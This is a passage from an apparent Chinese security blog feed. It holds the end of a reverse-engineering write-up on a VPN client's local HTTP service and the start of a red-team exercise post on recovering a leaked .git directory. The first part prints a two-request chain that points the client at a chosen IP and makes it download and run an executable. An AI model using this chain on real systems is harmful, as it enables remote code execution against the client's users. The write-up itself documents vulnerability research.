src=\"\/images\/2021-05-05\/Pasted%20image%2020220304125819.png\" alt=\"\" \/><\/p>\n\n<h4 id=\"\u5176\u4ed6\u52a8\u4f5c\">\u5176\u4ed6\u52a8\u4f5c<\/h4>\n\n<p>\u6309\u7167\u6b63\u5e38\u903b\u8f91\u6765\u8bf4\uff0c\u65e2\u7136\u53ef\u4ee5\u8fdc\u7a0b\u8bfb\u53d6\u670d\u52a1\u5668\u914d\u7f6e\uff0c\u5e94\u8be5\u4f1a\u6709\u4e00\u4e9b\u5176\u4ed6\u7684\u64cd\u4f5c\uff0c\u4f8b\u5982\u66f4\u65b0\u3001\u4e0b\u8f7d\uff0c\u4e8e\u662f\u6211\u5728IDA\u4e2d\u7ee7\u7eed\u5bfb\u627e\uff0c\u53d1\u73b0\u4e86\u4e00\u6bb5\u5b57\u7b26\u4e32\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304131819.png\" alt=\"\" \/><\/p>\n\n<pre><code class=\"language-c\">v23 = \"__check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY LANG|InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|CheckProxySetting|UpdateControls#BEFORELOGIN|DoQueryService#QUERY CONTROLS UPDATEPROCESS|DoQueryService#QUERY DKEY_DETECT|DoQueryService#QUERY LOGINSTATUS|OpenBrowser|StartEasyConnect|DoQueryService#QUERY NEEDUPDATE\";\n<\/code><\/pre>\n\n<p>\u5728\u8be5\u5b57\u7b26\u4e32\u4e2d\u8bb8\u591a\u4e4b\u524d\u53d1\u73b0\u7684\u90fd\u5b58\u5728\u5176\u4e2d\uff0c\u5f53\u7136\u4e5f\u6709\u5f88\u591a\u6ca1\u6709\u89c1\u8fc7\u7684\uff0c\u6211\u68b3\u7406\u4e86\u4e00\u4e0b\u6ca1\u6709\u89c1\u8fc7\u7684\u5b57\u7b26\u4e32\uff1a<\/p>\n\n<pre><code>DoConfigure#SET LANG\nDoQueryService#QUERY LANG\nLogout\nCheckMITMAttack\nSelectLines\nCheckProxySetting\nUpdateControls#BEFORELOGIN\nDoQueryService#QUERY CONTROLS UPDATEPROCESS\nDoQueryService#QUERY DKEY_DETECT\nDoQueryService#QUERY LOGINSTATUS\nOpenBrowser\nStartEasyConnect\nDoQueryService#QUERY NEEDUPDATE\n<\/code><\/pre>\n\n<p>\u5f88\u5947\u602a\u7684\u662f\u8fd9\u4e9b\u5b57\u7b26\u4e32\u4e4b\u540e\u8fd8\u6709\u4e00\u4e2a<code>#<\/code>\u53f7\uff0c\u4f8b\u5982<code>DoConfigure<\/code>\uff0c\u6309\u7167\u6211\u7684\u63a8\u6d4b\u662f\u53bb\u8bbe\u7f6e\u914d\u7f6e\u4fe1\u606f\u7684\uff0c\u6b64\u5904\u540e\u9762\u8ddf\u4e86\u4e00\u4e2a<code>#<\/code>\u53f7+<code>SET LANG<\/code>\uff0c\u6839\u636e\u5b57\u9762\u610f\u601d\u7b2c\u4e00\u65f6\u95f4\u60f3\u5230\u4e86\u8fd9\u53ef\u80fd\u662f\u8bbe\u7f6e\u8bed\u8a00\uff0c\u4f46\u5982\u4f55\u8bbe\u7f6e\uff1f\u5c1d\u8bd5\u4e86\u4e00\u4e0b\uff0c\u6b64\u5904\u53ef\u4ee5\u5e26\u8fdb<code>arg<\/code>\u53c2\u6570\uff0c\u6309\u7167\u5b57\u9762\u610f\u601d<code>SET LANG<\/code>\u4e4b\u540e\u5e94\u8be5\u8fd8\u9700\u8981\u6709\u53c2\u6570\u503c\uff0c\u6240\u4ee5\u8bf7\u6c42\u53c2\u6570\u503c\u6539\u4e3a<code>SET LANG 123<\/code>\uff0c\u63a5\u7740\u6309\u7167\u5b57\u9762\u610f\u601d\u53d1\u73b0\u914d\u5408<code>DoQueryService#QUERY LANG<\/code>\u53ef\u4ee5\u67e5\u8be2\u51fa\u6765\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304135649.png\" alt=\"\" \/><\/p>\n\n<p>\u540c\u6837\uff0c\u6211\u5728\u4e4b\u524d\u7684\u53d1\u73b0\u4e2d\u53d1\u73b0\u53ef\u4ee5\u53bb\u914d\u7f6eVPN\u670d\u52a1IP\u5730\u5740\uff0c\u5728IP\u4e4b\u540e\u52a0\u4e0a\u7a7a\u683c\u4e5f\u53ef\u4ee5\u914d\u7f6e\u6307\u5b9a\u7aef\u53e3\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=InitECAgent&amp;arg=172.20.10.3 443\n<\/code><\/pre>\n\n<h3 id=\"\u8fdc\u7a0b\u4e0b\u8f7drce\">\u8fdc\u7a0b\u4e0b\u8f7d\uff08RCE\uff09<\/h3>\n\n<p>\u63a5\u7740\u6765\u770b\u6211\u6700\u5173\u5fc3\u7684<code>UpdateControls#BEFORELOGIN<\/code>\uff0c\u5176\u5b57\u9762\u610f\u601d\u5c31\u662f\u5728\u767b\u9646\u524d\u8fdb\u884c\u66f4\u65b0\uff0c\u90a3\u4e48\u5177\u4f53\u66f4\u65b0\u4e86\u4ec0\u4e48\u5462\uff1f\u6211\u5c1d\u8bd5\u8bf7\u6c42\u5982\u4e0bURL\u5e76\u67e5\u770b\u662f\u5426\u5b58\u5728\u7f51\u7edc\u7684\u8fde\u63a5\uff08\u9700\u8981\u5148\u8bf7\u6c42InitECAgent\uff09\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=UpdateControls&amp;arg=BEFORELOGIN\n<\/code><\/pre>\n\n<p>\u5728HTTP\u670d\u52a1\u7aef\u6210\u529f\u7684\u6536\u5230\u4e86\u8bf7\u6c42\u65e5\u5fd7\uff0c\u53ef\u4ee5\u770b\u89c1\u5ba2\u6237\u7aef\u8bf7\u6c42\u4e86\u5f88\u591a\u4e2a\u8def\u5f84\uff0c\u5e76\u4ee5POST\u5f62\u5f0f\u8bf7\u6c42\u4e86<code>\/com\/win\/XXXUD.exe<\/code>\u6587\u4ef6\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304144029.png\" alt=\"\" \/><\/p>\n\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u5176\u4f1a\u53bb\u4e3b\u52a8\u4e0b\u8f7d\u8be5EXE\u5e76\u66ff\u6362\u539fXXXUD.exe\u6587\u4ef6\uff0c\u63a5\u7740\u6267\u884c\u6253\u5f00\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304144714.png\" alt=\"\" \/><\/p>\n\n<p>\u5c31\u8fd9\u6837\u6211\u6210\u529f\u53d1\u73b0\u4e86\u4e00\u6761RCE\u94fe\uff1a<\/p>\n\n<pre><code>\/\/ \u6539\u53d8VPN\u5ba2\u6237\u7aef\u670d\u52a1\u7684IP\u5730\u5740\u548c\u7aef\u53e3\nhttps:\/\/127.0.0.1:54530\/?op=InitECAgent&amp;arg=172.20.10.3 443\n\/\/ \u8ba9VPN\u5ba2\u6237\u7aef\u53d1\u8d77\u4e0b\u8f7d\u66f4\u65b0\uff0c\u5e76\u6267\u884c\u66f4\u65b0\u6587\u4ef6\nhttps:\/\/127.0.0.1:54530\/?op=UpdateControls&amp;arg=BEFORELOGIN\n<\/code><\/pre>\n\n<h2 id=\"\u6587\u672b\">\u6587\u672b<\/h2>\n\n<p>\u6211\u5728\u771f\u5b9e\u9006\u5411\u8fc7\u7a0b\u4e2d\u8e29\u4e86\u5f88\u591a\u5751\uff0c\u4e5f\u7531\u4e8e\u81ea\u8eab\u7f3a\u5c11\u9006\u5411\u7ecf\u9a8c\u548c\u5f3a\u6709\u529b\u7684\u6c34\u51c6\uff0c\u53ea\u80fd\u6a21\u62df\u9ed1\u76d2\u7684\u7ecf\u9a8c\u548c\u5957\u8def\u5e26\u5165\u5230\u9006\u5411\u4e2d\u3002<\/p>\n\n<p>\u867d\u7136\u8fd9\u53ea\u662f\u4e00\u6b21\u9006\u5411\u6316\u6398\u6a21\u62df\uff0c\u4f46\u5728\u8fd9\u8fc7\u7a0b\u4e2d\u6211\u638c\u63e1\u4e86\u4e4b\u524d\u9ed1\u76d2\u6240\u65e0\u6cd5\u77e5\u6653\u7684\u7ec6\u8282\uff0c\u5e76\u4e14\u5bf9\u6bd4\u9ed1\u3001\u767d\u76d2\u7684\u8fc7\u7a0b\u548c\u7ed3\u679c\uff0c\u4f1a\u53d1\u73b0\u9006\u5411\u4fa7\u6700\u540e\u5b9e\u9645\u7684PoC\u6839\u672c\u4e0d\u9700\u8981<code>\/ECAgent\/<\/code>\u76ee\u5f55\uff0c<code>arg1<\/code>\u53c2\u6570\u4e5f\u53d8\u6210\u4e86<code>arg<\/code>\u53c2\u6570\uff0c\u5e76\u4e14RCE\u94fe\u7684\u8bf7\u6c42\uff0c\u4ece\u539f\u672c\u76843\u6761\u8bf7\u6c42\u53d8\u6210\u4e862\u6761\u8bf7\u6c42\u3002\uff08\u4e5f\u8bb8\u53ef\u4ee5Bypass\u4e00\u4e9bWAF\uff09<\/p>\n\n<p>\u6700\u540e\u6211\u5c06\u8fd9\u7c7b\u6f0f\u6d1e\u79f0\u4e4b\u4e3aWeb2Pwn\uff0c\u4e5f\u5c31\u662f\u57fa\u4e8eWeb\u901a\u9053\u8fbe\u5230\u5e94\u7528\u4fa7\uff08\u975eWeb\uff09\u6f0f\u6d1e\u89e6\u53d1\u7684\u76ee\u7684\u3002\u4f8b\u5982\u4f60\u53ef\u4ee5\u901a\u8fc7HTTP\u670d\u52a1\u8bbf\u95ee\u89e6\u53d1\u6267\u884cCreateProcess\u51fd\u6570\uff0c\u4ea6\u6216\u8005\u901a\u8fc7HTTP\u670d\u52a1\u8bbf\u95ee\u89e6\u53d1\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n","pubDate":"2021-05-05T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2021-05-05\/1","guid":"https:\/\/gh0st.cn\/archives\/2021-05-05\/1"},{"title":"\u8bb0\u4e00\u6b21\u653b\u9632\u6f14\u4e60\u6e17\u900f\u8fc7\u7a0b","description":"<h1 id=\"\u8bb0\u4e00\u6b21\u653b\u9632\u6f14\u4e60\u6e17\u900f\u8fc7\u7a0b\">\u8bb0\u4e00\u6b21\u653b\u9632\u6f14\u4e60\u6e17\u900f\u8fc7\u7a0b<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u8bb0\u5f55\u4e00\u6b21\u653b\u9632\u6f14\u4e60\u6e17\u900f\u8fc7\u7a0b\uff0c\u6587\u7ae0\u4ec5\u5199\u5173\u4e8e\u300c\u6253\u70b9\u300d\u73af\u8282\u7684\u90e8\u5206\uff0c\u4e5f\u5c31\u662f\u62ff\u5230\u9776\u6807\u7684Webshell\u4e3a\u6b62\u3002<\/p>\n\n<p>\u4efb\u52a1: \u62ff\u5230XXX\u4e1a\u52a1\u7cfb\u7edf\u6743\u9650\u2026<\/p>\n\n<h2 id=\"\u8fc7\u7a0b\">\u8fc7\u7a0b<\/h2>\n\n<p>\u9776\u6807\u662f\u4e00\u4e2awww\u7684\u57df\u540d\uff0c\u7b80\u5355\u770b\u4e86\u4e0b\u6709\u673a\u4f1a\u786c\u5543\uff08\u5546\u4e1a\u6e90\u7801\uff09\uff0c\u4f46\u65f6\u95f4\u4e0d\u591a\uff0c\u5148\u627e\u627e\u8106\u5f31\u70b9\uff0c\u5e38\u89c4\u4e00\u5957\u6d41\u7a0b\uff0c\u6536\u96c6\u5b50\u57df\u3001C\u6bb5\u2026<\/p>\n\n<h3 id=\"\u8106\u5f31\u70b9\u53d1\u73b0\">\u8106\u5f31\u70b9\u53d1\u73b0<\/h3>\n\n<p>\u5728\u5bf9\u5b50\u57df\u7684\u5e38\u89c4\u626b\u63cf\u540e\uff0c\u53d1\u73b0\u5b58\u5728<code>.git<\/code>\u6cc4\u9732:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054609733881.jpg\" alt=\"-w494\" \/><\/p>\n\n<p>\u4ee5\u53ca\u53d1\u73b0\u4e86<code>phpMyAdmin<\/code>\u5e94\u7528\u548c\u4e00\u4e9b<code>phpinfo()<\/code>\u4fe1\u606f\u6cc4\u6f0f:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054610914733.jpg\" alt=\"-w865\" \/><\/p>\n\n<p>\u770b\u5230\u8fd9\u4e9b\uff0c\u4e0d\u7531\u5f97\u5174\u594b\u4e86\u8d77\u6765\uff0c\u63a5\u4e0b\u6765\u53ea\u8981\u6309\u7167\u9884\u671f\u7684\u60f3\u6cd5: \u901a\u8fc7<code>.git<\/code>\u62ff\u5230\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801\uff08\u6e90\u7801\u4e2d\u4e00\u822c\u4f1a\u6709\uff09\uff0c\u767b\u5f55<code>phpMyAdmin<\/code>\uff0c\u7136\u540e\u62ff\u5230<code>Webshell<\/code>\u2026<\/p>\n\n<p>\u4f46\u2026\u8f6c\u6298\u70b9\u6765\u4e86\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>GitHack<\/code>\u7b49\u4e00\u7cfb\u5217\u5e38\u89c1\u5de5\u5177\u53bb\u6062\u590d<code>.git<\/code>\uff0c\u53d1\u73b0\u6062\u590d\u7684\u6587\u4ef6\u53ea\u6709\u4e00\u4e9b\u56fe\u7247\uff0c\u770b<code>Logs<\/code>\u53d1\u73b0\u6709\u5f88\u591a\u6587\u4ef6\u6062\u590d\u5931\u8d25\uff0c\u65e2\u7136\u4e0d\u80fd\u5f53\u4e00\u4e2a<code>ScriptKid<\/code>\u4e00\u628a\u68ad\u54c8\uff0c\u90a3\u5c31\u81ea\u5df1\u6765\u624b\u52a8\u6062\u590d\u5427~<\/p>\n\n<h3 id=\"git\u539f\u7406\u4e0e\u6062\u590d\">Git\u539f\u7406\u4e0e\u6062\u590d<\/h3>\n\n<p><strong>\u57fa\u672c\u6982\u5ff5<\/strong><\/p>\n\n<p>Git\u6709\u4e09\u4e2a\u6982\u5ff5\u8bcd\u9700\u8981\u4e86\u89e3: 1.\u5de5\u4f5c\u533a 2.\u7248\u672c\u5e93 3.\u6682\u5b58\u533a<\/p>\n\n<p>\u5de5\u4f5c\u533a\u5c31\u662f\u6b63\u5e38\u7684\u76ee\u5f55\uff08\u4f60\u7684\u9879\u76ee\u4f4d\u7f6e\uff09;\u7248\u672c\u5e93\u5c31\u662f\u5728\u5de5\u4f5c\u533a\u5185\u7684\u4e00\u4e2a\u9690\u85cf\u76ee\u5f55<code>.git<\/code>;\u5982\u679c\u4f60\u66fe\u7ecf\u6ce8\u610f\u8fc7\u8fd9\u4e2a\u76ee\u5f55\u4f60\u4f1a\u53d1\u73b0\u91cc\u9762\u6709\u8bb8\u591a\u4e1c\u897f\uff0c\u5728\u8be5\u76ee\u5f55\u4e0b\u4f1a\u5b58\u5728\u4e00\u4e2a<code>index<\/code>\u6587\u4ef6\uff0c\u8fd9\u88ab\u79f0\u4e4b\u4e3a\u6682\u5b58\u533a\u3002<\/p>\n\n<p>\u9664\u4ee5\u4e0a\u6240\u8ff0\u4e4b\u5916\uff0c\u5927\u5bb6\u90fd\u77e5\u9053\u6bcf\u4e00\u4e2aGit\u9879\u76ee\u90fd\u4f1a\u6709\u4e00\u4e2a\u9ed8\u8ba4\u7684\u5206\u652f<code>master<\/code>\uff0c\u5728<code>.git<\/code>\u76ee\u5f55\u4e0b\u6709\u4e00\u4e2a\u6587\u4ef6<code>head<\/code>\uff0c\u5b83\u7528\u6765\u6307\u5411<code>master<\/code>\u8fd9\u4e2a\u5206\u652f\u3002<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054630957919.jpg\" alt=\"-w992\" \/><\/p>\n\n<p>\u5f53\u6211\u4eec\u4f7f\u7528<code>git add<\/code>\u65f6\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u628a\u6587\u4ef6\u6dfb\u52a0\u8fdb\u6682\u5b58\u533a\uff1b\u4f7f\u7528<code>git commit<\/code>\u65f6\uff0c\u624d\u4f1a\u628a\u6682\u5b58\u533a\u7684\u5185\u5bb9\u6dfb\u52a0\u5230\u5f53\u524d\u5206\u652f\uff0c\u9ed8\u8ba4\u662f<code>master<\/code>\u5206\u652f\u3002<\/p>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u6765\u5b9e\u9645\u7684\u770b\u4e00\u4e0b<code>index<\/code>\u548c<code>head<\/code>\u8fd9\u4e24\u4e2a\u6587\u4ef6:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054636119175.jpg\" alt=\"-w1108\" \/><\/p>\n\n<p>\u4f7f\u7528<code>Binwalk<\/code>\u76f4\u63a5\u5206\u6790\uff0c\u53ef\u4ee5\u5f88\u76f4\u89c2\u7684\u770b\u89c1<code>index<\/code>\u5185\u6709\u8bb8\u591a\u5185\u5bb9\uff0c<code>head<\/code>\u5e76\u6ca1\u6709\uff0c\u76f4\u63a5<code>cat head<\/code>\u53d1\u73b0\u8fd9\u5c31\u662f\u4e00\u4e2a\u5355\u7eaf\u7684\u6587\u672c\u5185\u5bb9:<\/p>\n\n<pre><code>ref: refs\/heads\/master\n<\/code><\/pre>\n\n<p>\u524d\u9762\u4e86\u89e3\u5230\u8fd9\u662f\u4e00\u4e2a\u5206\u652f\u6307\u5411\uff0c\u90a3\u6211\u76f4\u63a5\u67e5\u770b<code>.git<\/code>\u76ee\u5f55\u4e0b\u7684<code>refs\/heads\/master<\/code>\u6587\u4ef6\uff0c\u5f97\u5230\u4e00\u4e32Hash\u503c\u3002<\/p>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u6682\u4e14\u8ba4\u4e3a\u8fd9\u662f<code>master<\/code>\u5206\u652f\u7684\u4e00\u4e2a\u8bb0\u5f55\uff0c\u7528\u4e8e\u533a\u5206\u3001\u6bd4\u8f83\u3002<\/p>\n\n<p>\u5927\u6982\u4e86\u89e3\u4e86\u4ee5\u4e0a\u5185\u5bb9\u540e\uff0c\u8fd8\u9700\u8981\u4e86\u89e3\u6709\u54ea\u4e9b\u6587\u4ef6\u624d\u80fd\u591f\u6062\u590d<code>.git<\/code>?<\/p>\n\n<p>\u9996\u5148\u6211\u4eec\u6765\u770b\u4e00\u4e0b<code>.git<\/code>\u76ee\u5f55\u5185\u7684\u4e00\u822c\u7ed3\u6784:<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u540d\u79f0<\/th>\n      <th>\u7c7b\u578b<\/th>\n      <th>\u4f5c\u7528<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>.git\/index<\/td>\n      <td>\u6587\u4ef6<\/td>\n      <td>\u6682\u5b58\u533a<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/config<\/td>\n      <td>\u6587\u4ef6<\/td>\n      <td>Git\u914d\u7f6e\u6587\u4ef6<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/description<\/td>\n      <td>\u6587\u4ef6<\/td>\n      <td>GitWeb\u4e13\u7528\u7684\u63cf\u8ff0\u6587\u4ef6<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/info<\/td>\n      <td>\u6587\u4ef6\u5939<\/td>\n      <td>\u91cc\u9762\u5c31\u4e00\u4e2aexclude\u6587\u4ef6\uff08\u4e0e.gitignore\u4e92\u8865\uff09\uff0c\u6392\u9664\u6307\u5b9a\u6587\u4ef6\u4e0d\u7528\u505aGit\u63d0\u4ea4<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/hooks<\/td>\n      <td>\u6587\u4ef6\u5939<\/td>\n      <td>\u5b58\u653e\u4e00\u4e9b\u94a9\u5b50\u811a\u672c<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/HEAD<\/td>\n      <td>\u6587\u4ef6<\/td>\n      <td>\u8bb0\u5f55\u5206\u652f<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/objects<\/td>\n      <td>\u6587\u4ef6\u5939<\/td>\n      <td>\u5b58\u653e\u6240\u6709\u6570\u636e<\/td>\n    <\/tr>\n    <tr>\n      <td>.git\/refs<\/td>\n      <td>\u6587\u4ef6\u5939<\/td>\n      <td>\u5b58\u653e\u63d0\u4ea4\u5bf9\u8c61\u7684\u6307\u9488<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u77e5\u9053\u7ed3\u6784\u53ca\u5176\u4f5c\u7528\u540e\uff0c\u6311\u91cd\u70b9\u5173\u6ce8<code>objects<\/code>\u8fd9\u4e2a\u76ee\u5f55\uff0c\u4f46\u4e00\u770b\uff0c\u5168\u90fd\u662f\u4e00\u4e9bHash\u547d\u540d\u7684\u6587\u4ef6\uff0c\u6839\u672c\u4e0d\u77e5\u9053\u5176\u5bf9\u5e94\u5173\u7cfb:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054656504449.jpg\" alt=\"-w1102\" \/><\/p>\n\n<p>\u5e76\u4e14\u8fd9\u4e9b\u6587\u4ef6\u90fd\u6ca1\u529e\u6cd5\u770b:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054659230739.jpg\" alt=\"-w822\" \/><\/p>\n\n<p>\u67e5\u9605\u76f8\u5173\u8d44\u6599\u5f97\u77e5\u6b64\u7c7b\u6587\u4ef6\u662f\u5c06\u539f\u6587\u4ef6\u5185\u5bb9\u7ecf\u8fc7<code>zlib<\/code>\u7684<code>deflate<\/code>\u538b\u7f29\u540e\u5b58\u50a8\u7684( https:\/\/mirrors.edge.kernel.org\/pub\/software\/scm\/git\/docs\/user-manual.html#object-details ):<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054659652391.jpg\" alt=\"-w1145\" \/><\/p>\n\n<p>\u800c\u4f7f\u7528<code>zlib<\/code>\u8fdb\u884c\u89e3\u538b\u67e5\u770b\u6587\u4ef6\u5185\u5bb9\u65f6\u662f\u8fd9\u6837\u7684:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054674810483.jpg\" alt=\"-w1222\" \/><\/p>\n\n<p>\u8fd9\u4e2a\u6587\u4ef6\u66f4\u50cf\u662f\u8bb0\u5f55\u4e86\u4e00\u4e2a\u76ee\u5f55\u7ed3\u6784\uff0c\u800c\u5173\u4e8e\u6b64\u5c31\u53c8\u9700\u8981\u67e5\u9605\u8d44\u6599\u4e86\uff0c\u5177\u4f53\u8bf7\u770b: https:\/\/git-scm.com\/book\/zh\/v2\/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1<\/p>\n\n<p>git\u4e2d\u7684\u5bf9\u8c61(<strong>\u5bf9\u8c61\u5bf9\u5e94\u6587\u4ef6<\/strong>)<code>.git\/objects<\/code>\u5305\u542b\u4e86:<\/p>\n\n<ol>\n  <li>SHA(\u6240\u6709\u7528\u6765\u8868\u793a\u9879\u76ee\u5386\u53f2\u4fe1\u606f\u7684\u6587\u4ef6,\u662f\u901a\u8fc7\u4e00\u4e2a40\u4e2a\u5b57\u7b26\u7684\uff0840-digit\uff09\u201c\u5bf9\u8c61\u540d\u201d\u6765\u7d22\u5f15\u7684)<\/li>\n  <li>Blob\u5bf9\u8c61(\u7528\u6765\u5b58\u50a8\u6587\u4ef6\u7684\u5185\u5bb9)<\/li>\n  <li>Tree\u5bf9\u8c61(\u6709\u4e00\u4e32bunch\u6307\u5411Blob\u5bf9\u8c61\u6216\u662f\u5176\u5b83Tree\u5bf9\u8c61\u7684\u6307\u9488\uff0c\u4e00\u822c\u8868\u793a\u5185\u5bb9\u4e4b\u95f4\u7684\u76ee\u5f55\u5c42\u6b21\u5173\u7cfb)<\/li>\n  <li>Commit\u5bf9\u8c61(\u6307\u5411\u4e00\u4e2aTree\u5bf9\u8c61, \u5e76\u4e14\u5e26\u6709\u76f8\u5173\u7684\u63cf\u8ff0\u4fe1\u606f.)<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2020-11-22\/16059691330110.jpg\" alt=\"-w481\" \/>\n(\u6ce8: \u56fe\u7247\u6765\u81ea git-scm.com )<\/p>\n\n<p><strong>\u731c\u6d4b<\/strong>: \u6309\u7167\u8fd9\u4e2a\u903b\u8f91\uff0c\u6211\u4eec\u9700\u8981\u5148\u83b7\u53d6<code>Commit<\/code>\u5bf9\u8c61\u5bf9\u5e94\u6587\u4ef6\u627e\u5230<code>Tree<\/code>\u5bf9\u8c61\u5bf9\u5e94\u6587\u4ef6\u518d\u901a\u8fc7\u5176\u83b7\u5f97<code>Blob<\/code>\u5bf9\u8c61\u5bf9\u5e94\u6587\u4ef6\uff0c\u6700\u540e\u89e3\u538b\u5373\u53ef\u83b7\u5f97\u6e90\u6587\u4ef6\u5185\u5bb9\u3002<\/p>\n\n<p>\u90a3\u8fd9\u4e9b\u5bf9\u8c61\u5185\u5bb9\u90fd\u5b58\u50a8\u5728\u54ea\u91cc\u5462\uff1f\u901a\u8fc7\u4e4b\u524d\u4f7f\u7528<code>Binwalk<\/code>\u5206\u6790\uff0c\u663e\u800c\u6613\u89c1\uff0c\u5728<code>.git\/index<\/code>\u6587\u4ef6\u4e2d\u3002<\/p>\n\n<p>\u4f46\u662f\u5728\u8fd9\u91cc<code>.git\/index<\/code>\u6587\u4ef6\u65e0\u6cd5\u76f4\u63a5\u67e5\u770b\uff0c\u76f4\u63a5\u5957\u7528<code>GitHack<\/code>\u7684( https:\/\/github.com\/lijiejie\/GitHack\/blob\/master\/lib\/parser.py )\u89e3\u6790\u4ee3\u7801\u5c31\u884c:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059735242568.jpg\" alt=\"-w716\" \/><\/p>\n\n<p>\u83b7\u5f97SHA1: <code>a797b1973fd62dc34a691c7fe3bce33a504f2b74<\/code>\uff0c\u4f46\u662f\u627e\u4e86\u534a\u5929\u6ca1\u627e\u5230\u8fd9\u4e2a\u5bf9\u5e94\u6587\u4ef6\u200b\uff0c\u540e\u6765\u5c1d\u8bd5\u641c\u7d22\u524d\u51e0\u4f4d\u548c\u540e\u51e0\u4f4d\uff0c\u53d1\u73b0\u641c\u7d22\u5230\u4e86\u540e\u51e0\u4f4d:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059737421527.jpg\" alt=\"-w664\" \/><\/p>\n\n<p>\u5bf9\u6bd4\u53d1\u73b0\u6587\u4ef6\u540d\u548c\u83b7\u53d6\u7684SHA1\u503c\u5c11\u4e862\u4f4d:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059738182126.jpg\" alt=\"-w387\" \/><\/p>\n\n<p>\u641c\u7d22\u53d1\u73b0\u539f\u6765\u524d\u4e24\u4f4d\u662f\u4f5c\u4e3a\u4e86\u76ee\u5f55\u540d:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059738625732.jpg\" alt=\"-w556\" \/><\/p>\n\n<p>\u4f46\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u4f7f\u7528<code>zlib<\/code>\u53bb\u89e3\u538b\u7f29\uff0c\u53d1\u73b0\u5b58\u50a8\u5728<code>.git\/index<\/code>\u7684SHA1\u503c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a<code>blob<\/code>\u5bf9\u8c61\u7684\u503c\uff0c\u4e5f\u5c31\u6839\u672c\u4e0d\u9700\u8981\u83b7\u53d6<code>commit<\/code>\u3001<code>tree<\/code>\u5bf9\u8c61\u7684\u503c\u4e86\uff0c\u8868\u793a\u4e4b\u524d\u7684\u987a\u5e8f\u9006\u63a8\u903b\u8f91\u662f\u9519\u8bef\u7684:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059739165413.jpg\" alt=\"-w746\" \/><\/p>\n\n<p>\u63a5\u4e0b\u6765\u6309\u7167\u8fd9\u4e2a\u601d\u8def\u53bb\u7f16\u5199\u811a\u672c\u6062\u590d\u6e90\u7801\u5373\u53ef\u3002<\/p>\n\n<p><strong>\u7f16\u5199\u4e0e\u6062\u590d<\/strong><\/p>\n\n<p>\u7531\u4e8e\u9879\u76ee\u65f6\u95f4\u539f\u56e0\u7b80\u5355\u4e86\u89e3\u539f\u7406\u4e4b\u540e\uff0c\u6ca1\u6709\u8fc7\u591a\u7684\u53bb\u7814\u7a76\uff0c\u4e5f\u4e0d\u6253\u7b97\u4f7f\u7528\u539f\u751f\u65b9\u6cd5\u53bb\u6062\u590d\uff0c\u8fd8\u662f\u91c7\u7528\u6700\u66b4\u529b\u7684\u65b9\u6cd5\uff0c\u4f7f\u7528\u547d\u4ee4\u884c\u53bb\u6062\u590d<code>.git<\/code>\uff0c\u60f3\u8981\u8ba9Git\u56de\u9000\u5386\u53f2\uff0c\u4f7f\u7528<code>git reset --hard commit_id<\/code>\u547d\u4ee4\uff0c\u8fdb\u884c\u7248\u672c\u56de\u9000\u3002<\/p>\n\n<p>\u57fa\u4e8e\u8fd9\u4e2a\u547d\u4ee4\uff0c\u6211\u9700\u8981\u83b7\u53d6\u7f51\u7ad9\u7684\u8fd9\u51e0\u4e2a\u6587\u4ef6\/\u76ee\u5f55:<\/p>\n\n<ol>\n  <li><code>.git\/index<\/code><\/li>\n  <li><code>.git\/logs<\/code><\/li>\n  <li><code>.git\/head<\/code><\/li>\n  <li><code>.git\/objects<\/code><\/li>\n  